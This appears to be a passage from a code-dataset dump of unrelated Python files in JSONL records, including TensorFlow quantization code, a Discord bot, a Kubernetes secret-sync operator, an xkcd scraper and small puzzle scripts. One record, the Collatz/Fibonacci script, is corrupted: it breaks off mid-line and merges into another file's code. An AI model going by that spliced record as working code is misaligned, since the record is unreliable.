\"\"\"Quantizes the given SavedModel via static range quantization.\n\n If the model is not trained with Quantization-Aware Training (QAT) technique,\n it requires `representative_dataset` to collect statistics required for\n quantization. If non-None `representative_dataset` is provided with a QAT\n model input, `representative_dataset` will be ignored.\n\n Args:\n saved_model_path: Path to the saved model. When representative_dataset is\n not provided, this should be a model trained with QAT.\n signature_keys: Sequence of keys identifying SignatureDef containing inputs\n and outputs.\n tags: Collection of tags identifying the MetaGraphDef within the SavedModel\n to analyze.\n output_directory: The path to save the output SavedModel. The directory will\n be overwritten if not empty.\n quantization_options: QuantizationOptions proto describing quantization\n related config.\n representative_dataset: a generator that returns a dictionary in {input_key:\n input_value} format or a tuple with signature key and a dictionary in\n {input_key: input_value} format that feeds calibration data for quantizing\n model. This should be provided when the model is not a QAT model.\n\n Returns:\n A SavedModel object with TF quantization applied.\n\n Raises:\n ValueError: when representative_dataset is not provided for non-QAT model.\n RuntimeError: When a MetaGraphDef could not be found associated with `tags`\n in the SavedModel.\n \"\"\"\n logging.info(\n 'Running static range quantization on model: %s', saved_model_path\n )\n logging.info('Using SignatureDef keys: %s', signature_keys)\n logging.info('Using tags: %s', tags)\n logging.info('QuantizationOptions: \\n%s', quantization_options)\n\n is_qat_saved_model = _is_qat_saved_model(saved_model_path)\n signature_def_map = save_model.get_signatures_from_saved_model(\n saved_model_path, signature_keys, tags\n )\n\n # Checks if the model is from QAT\n if representative_dataset is None and not is_qat_saved_model:\n raise ValueError(\n 'When `representative_dataset` is not provided, the model should be '\n 'trained with quantization-aware training (QAT).'\n )\n if quantization_options.min_num_elements_for_weights > 0:\n logging.warn(\n 'min_num_elements_for_weights is set but is not supported for the '\n 'Post-training static range quantization. '\n 'The flag is ignored.'\n )\n\n if is_qat_saved_model:\n _run_static_range_qat(\n saved_model_path,\n output_directory,\n signature_keys,\n tags,\n quantization_options,\n signature_def_map,\n )\n else:\n _run_static_range_ptq(\n saved_model_path,\n output_directory,\n signature_keys,\n tags,\n quantization_options,\n representative_dataset,\n signature_def_map,\n )\n\n return saved_model_load(output_directory)\n\n\ndef _dynamic_range_quantize(\n saved_model_path: str,\n signature_keys: Sequence[str],\n tags: Collection[str],\n output_directory: str,\n quantization_options: quant_opts_pb2.QuantizationOptions,\n) -> autotrackable.AutoTrackable:\n \"\"\"Quantizes the given SavedModel via post-training dynamic range quantization.\n\n Weight-only quantization also uses this path.\n\n Args:\n saved_model_path: Path to the saved model.\n signature_keys: Sequence of keys identifying SignatureDef containing inputs\n and outputs.\n tags: Collection of tags identifying the MetaGraphDef within the SavedModel\n to analyze.\n output_directory: The path to save the output SavedModel. The directory will\n be overwritten if not empty.\n quantization_options: QuantizationOptions proto describing quantization\n related config.\n\n Returns:\n A SavedModel object with TF quantization applied.\n\n Raises:\n ValueError: when the model is QAT model.\n \"\"\"\n if (\n quantization_options.quantization_method.experimental_method\n == _ExperimentalMethod.WEIGHT_ONLY\n ):\n mode_str = 'weight-only quantization'\n else:\n mode_str = 'dynamic-range quantization'\n if _is_qat_saved_model(saved_model_path):\n raise ValueError(\n 'The models trained with quantization-aware training (QAT) is not '\n 'supported for %s.' % mode_str\n )\n\n logging.info(\n 'Running post-training %s on model: %s', mode_str, saved_model_path\n )\n logging.info('Using SignatureDef keys: %s', signature_keys)\n logging.info('Using tags: %s', tags)\n logging.info('QuantizationOptions: \\n%s', quantization_options)\n\n # Check default quantization option values for post-training dynamic range\n # quantization case.\n # TODO(b/242805842): Find good minimum_elements_for_weights number for server.\n # please also update default value in tflite converter:\n # tensorflow/compiler/mlir/lite/tf_to_tfl_flatbuffer.cc;l=201\n if quantization_options.min_num_elements_for_weights == 0:\n quantization_options.min_num_elements_for_weights = (\n _DYNAMIC_RANGE_DEFAULT_MIN_NUM_ELEMENTS_FOR_WEIGHTS\n )\n logging.warn(\n (\n 'QuantizationOptions.min_num_elements_for_weights is not set (0). '\n 'Setting to the default value: %s.'\n ),\n _DYNAMIC_RANGE_DEFAULT_MIN_NUM_ELEMENTS_FOR_WEIGHTS,\n )\n\n loader = saved_model_loader.SavedModelLoader(saved_model_path)\n\n function_aliases = loader.get_meta_graph_def_from_tags(\n tags\n ).meta_info_def.function_aliases\n\n # Apply post-training dynamic range quantization to the model.\n exported_model_serialized = pywrap_quantize_model.quantize_ptq_dynamic_range(\n saved_model_path,\n list(signature_keys),\n set(tags),\n quantization_options.SerializeToString(),\n dict(function_aliases),\n )\n\n exported_model = exported_model_pb2.ExportedModel.FromString(\n exported_model_serialized\n )\n signature_def_map = save_model.get_signatures_from_saved_model(\n saved_model_path, signature_keys, tags\n )\n\n save_model.save_model_v1(\n exported_model.graph_def,\n output_directory,\n signature_def_map,\n tags,\n init_op_name=exported_model.init_node_name,\n saver_def=_get_saver_def_or_none(exported_model),\n checkpoint_dir=exported_model.checkpoint_dir,\n function_aliases=exported_model.function_aliases,\n asset_file_defs=exported_model.asset_file_defs,\n )\n _copy_assets(saved_model_path, output_directory)\n\n return saved_model_load(output_directory)\n\n\ndef _verify_output_dir(output_dir: Optional[str], overwrite: bool) -> None:\n \"\"\"Verifies the output directory.\n\n Raises an error if `output_dir` is not suitable for writing the output saved\n model.\n\n Args:\n output_dir: Output directory.\n overwrite: An option allowing to overwrite the existing output directory if\n set to true. Does not actually create or modify the `output_dir` in this\n function.\n\n Raises:\n FileExistsError: Iff `output_dir` is not empty and `overwrite` is false.\n \"\"\"\n dir_not_empty = (\n output_dir is not None\n and file_io.file_exists_v2(output_dir)\n and file_io.list_directory_v2(output_dir)\n )\n\n if dir_not_empty and not overwrite:\n raise FileExistsError(\n f'Output directory already exists: {output_dir} . '\n 'Please set overwrite_output_directory to true to '\n 'overwrite the existing directory.'\n )\n\n\ndef _populate_quantization_component_spec(\n quantization_options: quant_opts_pb2.QuantizationOptions,\n) -> None:\n \"\"\"Populates default values for QuantizationComponentSpec.\n\n Args:\n quantization_options: An instance of QuantizationOptions with a field\n specifying QuantizationComponentSpec.\n \"\"\"\n quant_method: quant_opts_pb2.QuantizationMethod = (\n quantization_options.quantization_method\n )\n\n if quantization_options.unit_wise_quantization_spec:\n raise ValueError('Selective quantization is not supported yet.')\n\n # Make sure creating one spec per component.\n updated_component_spec = dict()\n\n # Populate default configuration.\n if (\n quant_method.experimental_method == _ExperimentalMethod.STATIC_RANGE\n or quant_method.experimental_method == _ExperimentalMethod.DYNAMIC_RANGE\n ):\n updated_component_spec[_QuantizationComponent.COMPONENT_ACTIVATION] = (\n quant_opts_pb2.QuantizationComponentSpec(\n quantization_component=_QuantizationComponent.COMPONENT_ACTIVATION,\n tensor_type=_TensorType.TENSORTYPE_INT_8,\n )\n )\n updated_component_spec[_QuantizationComponent.COMPONENT_WEIGHT] = (\n quant_opts_pb2.QuantizationComponentSpec(\n quantization_component=_QuantizationComponent.COMPONENT_WEIGHT,\n tensor_type=_TensorType.TENSORTYPE_INT_8,\n )\n )\n updated_component_spec[_QuantizationComponent.COMPONENT_BIAS] = (\n quant_opts_pb2.QuantizationComponentSpec(\n quantization_component=_QuantizationComponent.COMPONENT_BIAS,\n tensor_type=_TensorType.TENSORTYPE_INT_32,\n )\n )\n else:\n updated_component_spec[_QuantizationComponent.COMPONENT_WEIGHT] = (\n quant_opts_pb2.QuantizationComponentSpec(\n quantization_component=_QuantizationComponent.COMPONENT_WEIGHT,\n tensor_type=_TensorType.TENSORTYPE_INT_8,\n )\n )\n\n # Override if quantization_component_spec is specified.\n if quant_method.quantization_component_specs:\n # Check if the component spec is supported configuration in TF-Quant.\n for component_spec in quant_method.quantization_component_specs:\n if (\n component_spec.quantization_component\n == _QuantizationComponent.COMPONENT_WEIGHT\n ) or (\n component_spec.quantization_component\n == _QuantizationComponent.COMPONENT_ACTIVATION\n ):\n if component_spec.tensor_type != _TensorType.TENSORTYPE_INT_8:\n raise ValueError(\n 'Only int8 precision is supported for input operands.'\n )\n else:\n if component_spec.tensor_type != _TensorType.TENSORTYPE_INT_32:\n raise ValueError('Only int32 precision is supported for bias.')\n # Update with the custom spec.\n updated_component_spec[component_spec.quantization_component] = (\n component_spec\n )\n\n # Update the componet spec\n del quant_method.quantization_component_specs[:]\n quant_method.quantization_component_specs.extend(\n updated_component_spec.values()\n )\n\n if (\n quant_method.experimental_method == _ExperimentalMethod.STATIC_RANGE\n or quant_method.experimental_method == _ExperimentalMethod.DYNAMIC_RANGE\n ) and (len(quant_method.quantization_component_specs) != 3):\n raise ValueError('Only 3 components are needed for', quant_method)\n elif (\n quant_method.experimental_method == _ExperimentalMethod.WEIGHT_ONLY\n ) and len(quant_method.quantization_component_specs) != 1:\n raise ValueError('At least one component spec needs to be specified.')\n\n\ndef _populate_quantization_options_default_values(\n quantization_options: quant_opts_pb2.QuantizationOptions,\n) -> None:\n \"\"\"Populates default values for QuantizationOptions.\n\n Populates unspecified or unset fields of QuantizationOptions with the default\n values.\n\n * If `op_set` is unspecified, it defaults to `OpSet.XLA`.\n * If `freeze_all_variables` is not set, it defaults to `True`.\n * Check if configurations are set correctly:\n - Per-channel quantization is supported for Uniform Quantized opset only.\n\n Args:\n quantization_options: An instance of QuantizationOptions.\n \"\"\"\n if quantization_options.op_set == quant_opts_pb2.OpSet.OP_SET_UNSPECIFIED:\n quantization_options.op_set = quant_opts_pb2.OpSet.XLA\n\n if not quantization_options.HasField('freeze_all_variables'):\n quantization_options.freeze_all_variables.enabled = True\n\n # TODO(b/281595329): Implement static range quantization per-channel support\n if quantization_options.enable_per_channel_quantization and not (\n quantization_options.op_set == quant_opts_pb2.OpSet.UNIFORM_QUANTIZED\n or quantization_options.quantization_method.experimental_method\n == _ExperimentalMethod.WEIGHT_ONLY\n ):\n raise ValueError(\n 'Currently, per-channel quantization is supported for Uniform '\n 'Quantized opset and Weight-only.'\n )\n\n if (\n quantization_options.quantization_method.experimental_method\n == _ExperimentalMethod.WEIGHT_ONLY\n and (\n quantization_options.op_set == quant_opts_pb2.OpSet.UNIFORM_QUANTIZED\n or quantization_options.op_set == quant_opts_pb2.OpSet.TF\n )\n ):\n raise ValueError('TF/Uniform quantized opset does not support weight-only.')\n\n # Converter assumes options are specified. So set SRQ explicitly.\n if (\n quantization_options.quantization_method.experimental_method\n == _ExperimentalMethod.EXPERIMENTAL_METHOD_UNSPECIFIED\n ):\n logging.debug(\n '\"experimental_method\" for QuantizationMethod is not specified.'\n 'Static range quantization is used by default.'\n )\n quantization_options.quantization_method.experimental_method = (\n _ExperimentalMethod.STATIC_RANGE\n )\n\n # Check and populate quantization component spec\n _populate_quantization_component_spec(quantization_options)\n\n\ndef quantize(\n saved_model_path: str,\n signature_keys: Optional[Sequence[str]] = None,\n tags: Optional[Collection[str]] = None,\n output_directory: Optional[str] = None,\n quantization_options: Optional[quant_opts_pb2.QuantizationOptions] = None,\n representative_dataset: Optional[\n repr_dataset.RepresentativeDatasetOrMapping\n ] = None,\n *,\n overwrite_output_directory: bool = False,\n) -> autotrackable.AutoTrackable:\n \"\"\"Quantizes the given SavedModel.\n\n Args:\n saved_model_path: Path to the saved model. When representative_dataset is\n not provided, this should be a model trained with QAT.\n signature_keys: Sequence of keys identifying SignatureDef containing inputs\n and outputs. If None, [\"serving_default\"] is used.\n tags: (TF1 SavedModel only) Collection of tags identifying the MetaGraphDef\n within the SavedModel to analyze. If None, {\"serve\"} is used.\n output_directory: The path to save the output SavedModel. Set\n `overwrite_output_directory` to `True` to overwrite any existing contents\n in the directory if not empty.\n quantization_options: A set of options for quantization. If None, it uses\n post-training static range quantization with TF opset by default.\n representative_dataset: an iterator that returns a dictionary of {input_key:\n input_value} or a tuple with signature key and a dictionary of {input_key:\n input_value} that feeds calibration data for quantizing model. This should\n be provided when the model is a PTQ model.\n overwrite_output_directory: If set to true, overwrites the output directory\n iff it isn't empty. The default value is false.\n\n Returns:\n A SavedModel object with TF quantization applied, or None if no quantization\n is performed.\n\n Raises:\n ValueError: When 1) representative_dataset is not provided for non QAT model\n for enabling static range quantization, or 2) invalid value is provided as\n a quantization method.\n NotImplementedError: When the specified quantization method is not yet\n implemented.\n \"\"\"\n _verify_output_dir(output_directory, overwrite_output_directory)\n\n # Set default values for None arguments.\n if output_directory is None:\n output_directory = tempfile.mkdtemp()\n\n if quantization_options is None:\n quantization_options = quant_opts_pb2.QuantizationOptions()\n\n _populate_quantization_options_default_values(quantization_options)\n\n if tags is None:\n tags = {tag_constants.SERVING}\n\n if signature_keys is None:\n signature_keys = [signature_constants.DEFAULT_SERVING_SIGNATURE_DEF_KEY]\n\n method: quant_opts_pb2.QuantizationMethod = (\n quantization_options.quantization_method\n )\n if method.HasField('method'):\n raise ValueError(f'Invalid value for QuantizationMethod: {method.method}.')\n elif method.HasField('experimental_method'):\n if method.experimental_method == _ExperimentalMethod.STATIC_RANGE:\n return _static_range_quantize(\n saved_model_path,\n signature_keys,\n tags,\n output_directory,\n quantization_options,\n representative_dataset,\n )\n elif (\n method.experimental_method == _ExperimentalMethod.DYNAMIC_RANGE\n or method.experimental_method == _ExperimentalMethod.WEIGHT_ONLY\n ):\n return _dynamic_range_quantize(\n saved_model_path,\n signature_keys,\n tags,\n output_directory,\n quantization_options,\n )\n else:\n raise NotImplementedError(\n 'Experimental quantization method {method.experimental_method}'\n ' is not implemented.'\n )\n else:\n raise ValueError(f'Invalid value for QuantizationMethod: {method.method}.')\n","repo_name":"iridium-browser/iridium-browser","sub_path":"third_party/tflite/src/tensorflow/compiler/mlir/quantization/tensorflow/python/quantize_model.py","file_name":"quantize_model.py","file_ext":"py","file_size_in_byte":45605,"program_lang":"python","lang":"en","doc_type":"code","stars":314,"dataset":"github-code","pt":"53"}
+{"seq_id":"72468309928","text":"#hem collatz hemde fibonacci\nfib1=1\nfib2=1\ncol=[1]\nfor p in range(2,1000000):\n n=p\n c=1\n while(n!=1): \n fib=fib1+fib2\n fib1=fib2\n fib2=fib\n if(n%2==0):\n n=n/2\n else: \n n=3*n+1\n if(n
3):\n currDigit -= 3\n elif (char == 'D' and currDigit < 7):\n currDigit += 3\n elif (char == 'L' and currDigit not in [1, 4, 7]):\n currDigit -= 1\n elif (char == 'R' and currDigit not in [3, 6, 9]):\n currDigit += 1\n digits = digits + str(currDigit)\n\n print(digits)\n\nif __name__ == \"__main__\":\n main()","repo_name":"benjmo/AdventOfCode2016","sub_path":"day02/star03.py","file_name":"star03.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"24359718648","text":"import logging\nimport os\nimport re\nimport requests\n\nfrom bs4 import BeautifulSoup\nfrom django.core.management.base import BaseCommand\nfrom xkcd.models import Comic\n\n\nlogging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')\n\n\nclass Command(BaseCommand):\n def handle(self, *args, **options):\n comics = []\n counter = 0\n stored_comics = Comic.objects.all().order_by('-published')\n latest_number = stored_comics[0].number if stored_comics else 0\n\n # Get the xkcd homepage\n base_link = 'https://xkcd.com/'\n res = requests.get(base_link)\n res.raise_for_status()\n\n # Get the starting comic number\n page_soup = BeautifulSoup(res.text, features=\"html.parser\")\n comic_number = re.search(r'(?<=https://xkcd.com/)\\d+', page_soup.text).group(0)\n\n while str(latest_number) != comic_number and counter < 5:\n res = requests.get(f'{base_link}/{comic_number}')\n res.raise_for_status()\n\n # Parse the page and find the comic image element\n page_soup = BeautifulSoup(res.text, features=\"html.parser\")\n img_elem = page_soup.find(id='comic').img\n basename = os.path.basename(img_elem.get('src'))\n\n # Save the comic image to the disk\n try:\n img_res = requests.get(f'https://imgs.xkcd.com/comics/{basename}')\n img_res.raise_for_status()\n logging.info(f'Downloading {basename}')\n\n # Save the image to ./xkcd. (from ATBS)\n filepath = os.path.join('site/xkcd/static/img', basename)\n img_file = open(filepath, 'wb')\n for chunk in img_res.iter_content(100000):\n img_file.write(chunk)\n img_file.close()\n\n except requests.exceptions.HTTPError:\n logging.info(f'Could not find xkcd {number}')\n comic_number -= 1\n continue\n\n # Save the comic data to the array to be persisted\n comics.append(Comic(\n number = int(comic_number),\n img_filename = basename,\n display_name = img_elem.get('alt'),\n description = img_elem.get('title'),\n ))\n\n # Find the link to the next comic page\n prev_link = page_soup.select('a[rel=\"prev\"]')[0]\n comic_number = prev_link.get('href').replace('/', '')\n counter += 1\n\n # Find the published date for each downloaded comic on the archives page\n if comics:\n res = requests.get(f'{base_link}/archive')\n res.raise_for_status()\n\n # Parse the page and find the comic image element\n page_soup = BeautifulSoup(res.text, features=\"html.parser\")\n link_list = page_soup.find(id='middleContainer').find_all('a', limit=len(comics))\n\n # Save the date from the archive link to the comic object\n for i in range(len(comics)):\n archive_link_number = int(link_list[i].get('href').replace('/', ''))\n\n if comics[i].number == archive_link_number:\n comics[i].published = link_list[i].get('title')\n else:\n logging.error(f\"\"\"Abort: comic ids do not line up with archive links.\n downloaded comic: {comics[i].number}\n archive page link: {archive_link_number}\n Downloaded comics have not been recorded in the database.\"\"\")\n return\n\n logging.info('Saving downloaded comics')\n Comic.objects.bulk_create(comics)\n\n logging.info('Comics are up to date.')\n","repo_name":"erkarp/masonry","sub_path":"site/xkcd/management/commands/scrape_for_new_comics.py","file_name":"scrape_for_new_comics.py","file_ext":"py","file_size_in_byte":3744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"32192070603","text":"import sys\n\nUSE_PYTHON3 = True\n\n\ndef _DoCommonChecks(input_api, output_api):\n sys.path += [input_api.change.RepositoryRoot()]\n\n from go_presubmit_support import RunGoTests\n\n return RunGoTests(input_api, output_api)\n\n\nCheckChangeOnUpload = _DoCommonChecks\nCheckChangeOnCommit = _DoCommonChecks\n","repo_name":"iridium-browser/iridium-browser","sub_path":"third_party/dawn/tools/PRESUBMIT.py","file_name":"PRESUBMIT.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":314,"dataset":"github-code","pt":"53"}
+{"seq_id":"9880226017","text":"from dagster_gcp import BigQueryResource\n\nfrom dagster import Definitions, asset\n\n# this example executes a query against the IRIS.IRIS_DATA table created in Step 2 of the\n# Using Dagster with BigQuery tutorial\n\n\n@asset\ndef small_petals(bigquery: BigQueryResource):\n with bigquery.get_client() as client:\n return client.query(\n 'SELECT * FROM IRIS.IRIS_DATA WHERE \"petal_length_cm\" < 1 AND'\n ' \"petal_width_cm\" < 1',\n ).result()\n\n\ndefs = Definitions(\n assets=[small_petals],\n resources={\n \"bigquery\": BigQueryResource(\n project=\"my-gcp-project\",\n location=\"us-east5\",\n )\n },\n)\n","repo_name":"dagster-io/dagster","sub_path":"examples/docs_snippets/docs_snippets/integrations/bigquery/reference/resource.py","file_name":"resource.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":8986,"dataset":"github-code","pt":"53"}
+{"seq_id":"4032620629","text":"from typing import Type\n\nfrom fastapi import APIRouter, Body, Depends, HTTPException, Request, status\nfrom pydantic import EmailStr\n\nfrom fastapi_users import models\nfrom fastapi_users.manager import (\n BaseUserManager,\n InvalidVerifyToken,\n UserAlreadyVerified,\n UserInactive,\n UserManagerDependency,\n UserNotExists,\n)\nfrom fastapi_users.router.common import ErrorCode\n\n\ndef get_verify_router(\n get_user_manager: UserManagerDependency[models.UC, models.UD],\n user_model: Type[models.U],\n):\n router = APIRouter()\n\n @router.post(\"/request-verify-token\", status_code=status.HTTP_202_ACCEPTED)\n async def request_verify_token(\n request: Request,\n email: EmailStr = Body(..., embed=True),\n user_manager: BaseUserManager[models.UC, models.UD] = Depends(get_user_manager),\n ):\n try:\n user = await user_manager.get_by_email(email)\n await user_manager.request_verify(user, request)\n except (UserNotExists, UserInactive, UserAlreadyVerified):\n pass\n\n return None\n\n @router.post(\"/verify\", response_model=user_model)\n async def verify(\n request: Request,\n token: str = Body(..., embed=True),\n user_manager: BaseUserManager[models.UC, models.UD] = Depends(get_user_manager),\n ):\n try:\n return await user_manager.verify(token, request)\n except (InvalidVerifyToken, UserNotExists):\n raise HTTPException(\n status_code=status.HTTP_400_BAD_REQUEST,\n detail=ErrorCode.VERIFY_USER_BAD_TOKEN,\n )\n except UserAlreadyVerified:\n raise HTTPException(\n status_code=status.HTTP_400_BAD_REQUEST,\n detail=ErrorCode.VERIFY_USER_ALREADY_VERIFIED,\n )\n\n return router\n","repo_name":"Piyush026/hackthon_chatbot","sub_path":"fastapi_project/venv/lib/python3.9/site-packages/fastapi_users/router/verify.py","file_name":"verify.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"6208031807","text":"# https://discord.com/api/oauth2/authorize?client_id=1050716394792169562&permissions=137439291456&scope=bot\n\n\nimport discord\nfrom discord.ext import commands\nimport asyncio\nfrom pathlib import Path\nimport sys\n\nfrom Utils.Json import *\n\n\ndef run(TOKEN):\n print(f\"# python-{sys.version}\")\n print(f\"# discord-{discord.__version__}\")\n print()\n\n DEFAULT_PREFIX = \"!\"\n\n def get_prefix(bot, message):\n if not message.guild:\n return commands.when_mentioned_or(DEFAULT_PREFIX)(bot, message)\n guild_id = str(message.guild.id)\n filename = \"guilds\"\n if is_json(filename):\n guilds = read_json(filename)\n guilds[guild_id] = guilds.get(guild_id, {})\n guilds[guild_id][\"prefix\"] = guilds[guild_id].get(\"prefix\", DEFAULT_PREFIX)\n prefix = guilds[guild_id][\"prefix\"]\n return commands.when_mentioned_or(prefix)(bot, message)\n\n\n async def setup(bot):\n foldername = 'Cogs'\n for filename in os.listdir(f\"{Path(__file__).parents[0]}/{foldername}\"):\n if filename.endswith(\".py\"):\n try:\n await bot.load_extension(f\"{foldername}.{filename[:-3]}\")\n except Exception as e:\n print(f'{filename} 로드 실패:\\n{e}\\n')\n\n\n intents = discord.Intents.default()\n intents.message_content = True\n bot = commands.Bot(command_prefix=get_prefix, intents=intents, case_insensitive=True)\n\n asyncio.run(setup(bot))\n\n\n @bot.event\n async def on_ready():\n print('------------------------------')\n print('연결 중입니다')\n print(f'봇={bot.user.name}로 연결 중')\n print('연결이 완료되었습니다')\n print('------------------------------')\n await bot.change_presence(status=discord.Status.online, activity=None)\n\n bot.run(TOKEN)\n \n \nif __name__ == \"__main__\":\n pass","repo_name":"codn0185/R6Helper","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"16123309939","text":"import time\n\nimport KeyMouse\n\nf = open('我的脚本1.rec', 'w', encoding='utf-8')\nx = KeyMouse.newKeyboardListener(f)\ny = KeyMouse.newMouseListener(f)\nprint('开始录制 F12结束')\nx.start()\ny.start()\nwhile (x.is_alive()):\n i = 1\ny.stop()\nf.close()\nprint(y.is_alive())\nprint('录制完成')\nf = open('我的脚本1.rec', 'r', encoding='utf-8')\ntime.sleep(3)\nprint('开始回放')\nKeyMouse.executeRecord(f)","repo_name":"vxiaocheng/genshin_auto","sub_path":"test/KeyMouse_test.py","file_name":"KeyMouse_test.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"10291314549","text":"'''\ninput: [1,2,3,4,5], [6,7,8,9,10]\noutput: [5,6]\n'''\n\n# O(nlog(n) + mlog(m)) time, O(1) space\ndef smallestDifference(arrayOne, arrayTwo):\n\n arrayOne.sort()\n arrayTwo.sort()\n\t\n abs_diff = None\n value_list = []\n\t\n one_cursor = 0\n two_cursor = 0\n\n while one_cursor < len(arrayOne) or two_cursor < len(arrayTwo):\n\t\n i, j = arrayOne[one_cursor], arrayTwo[two_cursor]\n\t\t\n if abs_diff is None or abs_diff > abs(i-j):\n abs_diff = abs(i-j)\n value_list = [i,j]\n\t\t\t\n if i < j and one_cursor < len(arrayOne)-1:\n one_cursor += 1\n elif i > j and two_cursor < len(arrayTwo)-1:\n two_cursor += 1\n else:\n return value_list\n\t\t \n return value_list\n","repo_name":"sungjun0110/algorithms","sub_path":"python/smallestDifference.py","file_name":"smallestDifference.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"12148374885","text":"project = \"r8\"\nmaster_doc = \"index\"\n\nextensions = [\n \"sphinx.ext.autodoc\",\n \"sphinx.ext.napoleon\",\n \"sphinxcontrib_trio\",\n]\n\nautodoc_member_order = \"bysource\"\n\nhtml_theme_options = {\n \"show_powered_by\": False,\n}\nhtml_show_copyright = False\nhtml_show_sourcelink = False\nhtml_sidebars = {\"**\": []}\n","repo_name":"mhils/r8","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"53"}
+{"seq_id":"23827268186","text":"\"\"\"\nSync data fields between secrets.\n\"\"\"\n\n# To get nicer type annotations in Python 3.7 and 3.8.\nfrom __future__ import annotations\n\nfrom contextlib import contextmanager\n\nimport attr\nimport kopf # type: ignore\nimport pykube # type: ignore\n\nANNOTATION_PREFIX = \"secret-sync.praekelt.org\"\nANN_SYNC_TO = f\"{ANNOTATION_PREFIX}/sync-to\"\nANN_WATCH = f\"{ANNOTATION_PREFIX}/watch\"\n\n\n_kcfg = None\n_kapi = None\n\n\n@attr.s(frozen=True)\nclass SecretRef:\n \"\"\"\n An immutable reference to a secret that we can perform various operations\n on.\n \"\"\"\n\n namespace: str = attr.ib()\n name: str = attr.ib()\n\n def __str__(self):\n return f\"{self.namespace}/{self.name}\"\n\n @classmethod\n def from_meta(cls, meta):\n \"\"\"\n Build a SecretRef for the given secret metadata.\n \"\"\"\n return cls(namespace=meta[\"namespace\"], name=meta[\"name\"])\n\n @classmethod\n def _find_destination(cls, ns, name):\n if \"/\" in name:\n ns, name = name.split(\"/\", 2)\n return cls(namespace=ns, name=name)\n\n @classmethod\n def find_destinations(cls, meta):\n \"\"\"\n Build a SecretRef for each of the given source secret metadata's\n destinations.\n \"\"\"\n ns = meta[\"namespace\"]\n dests = meta[\"annotations\"][ANN_SYNC_TO].split(\",\")\n return [cls._find_destination(ns, name) for name in dests]\n\n def _meta(self):\n return {\"name\": self.name, \"namespace\": self.namespace}\n\n def _as_pykube(self):\n return pykube.Secret(_kapi, {\"metadata\": self._meta()})\n\n @contextmanager\n def _existing_pykube(self, logger):\n try:\n yield self._as_pykube()\n except pykube.exceptions.HTTPError as e:\n if e.code != 404:\n raise # pragma: no cover\n logger.warning(f\"Secret not found: {self}\")\n\n def get(self, logger):\n with self._existing_pykube(logger) as secret:\n secret.reload()\n # If the secret we're fetching doesn't exist, the reload will raise\n # an exception that the context manager will catch and log, so this\n # return will be skipped.\n return secret.obj\n # If we get here, the secret wasn't found. (The \"type: ignore\" is to\n # avoid a false positive from mypy's unreachable code detector.)\n return None # type: ignore\n\n def patch(self, logger, patch_obj):\n add_annotation(patch_obj, ANN_WATCH, \"true\")\n with self._existing_pykube(logger) as secret:\n secret.patch(patch_obj)\n return secret.obj\n\n\n# We update this whenever we see a source event. The mapping is always\n# sufficiently complete, because there is no ordering of events that does not\n# result in an appropriate sync operation:\n# * If either src or dst doesn't exist, no sync is possible.\n# * If we see the src event first, we sync and update the mapping.\n# * If we see the dst event first, we ignore it and sync on the src event.\n_destination_map: dict[SecretRef, set[SecretRef]] = {}\n\n\ndef _add_src_dst_mapping(src_ref, dst_ref):\n _destination_map.setdefault(dst_ref, set()).add(src_ref)\n\n\ndef add_annotation(obj, annotation, value):\n annotations = obj.setdefault(\"metadata\", {}).setdefault(\"annotations\", {})\n annotations[annotation] = value\n\n\n@kopf.on.startup()\ndef auth_pykube(**_kw):\n \"\"\"\n Create an authenticated pykube API client at startup.\n \"\"\"\n global _kcfg, _kapi\n _kcfg = pykube.KubeConfig.from_env()\n _kapi = pykube.HTTPClient(_kcfg)\n\n\ndef copy_secret_data(src_secret, logger):\n \"\"\"\n Copy data from source secret to destination secret(s).\n \"\"\"\n dst_refs = SecretRef.find_destinations(src_secret[\"metadata\"])\n for dst_ref in dst_refs:\n dst_secret = dst_ref.patch(logger, {\"data\": {**src_secret[\"data\"]}})\n logger.info(f\"synced secret: {dst_secret}\")\n\n\n@kopf.on.event(\"\", \"v1\", \"secrets\", annotations={ANN_SYNC_TO: kopf.PRESENT})\ndef source_secret_event(body, meta, event, logger, **_kw):\n \"\"\"\n Handle a sync event for a source secret.\n\n There are four possible event types:\n * None: The secret was listed when we started watching.\n * 'ADDED': The secret was created.\n * 'MODIFIED': The secret was updated.\n * 'DELETED': The secret no longer exists.\n\n We ignore 'DELETED' events, because there's nothing we can do if the secret\n doesn't exist. For all other events, we update the destination map (so\n watched secret events know which source secrets to sync from) and sync our\n data to the destination secret.\n \"\"\"\n src_ref = SecretRef.from_meta(meta)\n if event[\"type\"] == \"DELETED\":\n logger.warning(f\"Source secret deleted: {src_ref}\")\n return\n for dst_ref in SecretRef.find_destinations(meta):\n _add_src_dst_mapping(src_ref, dst_ref)\n copy_secret_data(body, logger)\n\n\n@kopf.on.event(\"\", \"v1\", \"secrets\", annotations={ANN_WATCH: kopf.PRESENT})\ndef watched_secret_event(meta, event, logger, **_kw):\n \"\"\"\n Handle a sync event for a destination secret we're watching.\n\n There are four possible event types:\n * None: The secret was listed when we started watching.\n * 'ADDED': The secret was created.\n * 'MODIFIED': The secret was updated.\n * 'DELETED': The secret no longer exists.\n\n We ignore 'DELETED' events, because there's nothing we can do if the secret\n doesn't exist. For all other events, we look up which sources sync to this\n destination and blindly sync all of them. This is safe because the\n destination will only be updated (and thus trigger a 'MODIFIED' event) if\n it actually changes. This means that we always perform at least one\n additional 